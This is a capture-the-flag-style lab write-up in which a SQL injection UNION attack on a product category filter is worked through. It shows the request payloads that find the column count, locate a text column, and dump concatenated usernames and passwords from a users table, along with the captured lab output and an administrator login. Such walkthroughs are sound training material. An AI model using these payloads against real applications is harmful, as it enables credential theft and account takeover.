

Lab: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Since it is based on UNION Attack, The first step is to determine the number of columns and datatype of each columns that can be determined by the following payload:

GET /filter?category=Gifts'**UNION+SELECT+NULL,NULL--** HTTP/2

[Home](#) | [My account](#)



Gifts'UNION SELECT NULL,NULL--

Refine your search:	
All	Accessories
Corporate gifts	Gifts
Lifestyle	Tech gifts
High-End Gift Wrapping	View details
Conversation Controlling Lemon	View details
Couple's Umbrella	View details
Snow Delivered To Your Door	View details

Determining the datatype of each column:

GET /filter?category=Gifts'**UNION+SELECT+NULL,'def'--** HTTP/2



Gifts'UNION SELECT NULL,'def'--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Gifts](#) [Lifestyle](#) [Tech gifts](#)

High-End Gift Wrapping	View details
Conversation Controlling Lemon	View details
Couple's Umbrella	View details
Snow Delivered To Your Door	View details
def	

Retrieving the contents from table users.

GET

/filter?category=Gifts'**UNION+SELECT+NULL,username||'~'||password+FROM+users--** HTTP/2



Gifts'UNION SELECT NULL,username||'~'||password FROM
users--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Gifts](#) [Lifestyle](#) [Tech gifts](#)

High-End Gift Wrapping	View details
administrator~vtmyo1z4hzcq6vvv5efe	
Snow Delivered To Your Door	View details
wiener~0eaofutj11zvqxftbw6h	
Couple's Umbrella	View details
carlos~igxtztganvi8aavignw	
Conversation Controlling Lemon	View details



SQL injection UNION attack, retrieving multiple values in a single column

[Back to lab description >>](#)

LAB Solved 

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

[Update email](#)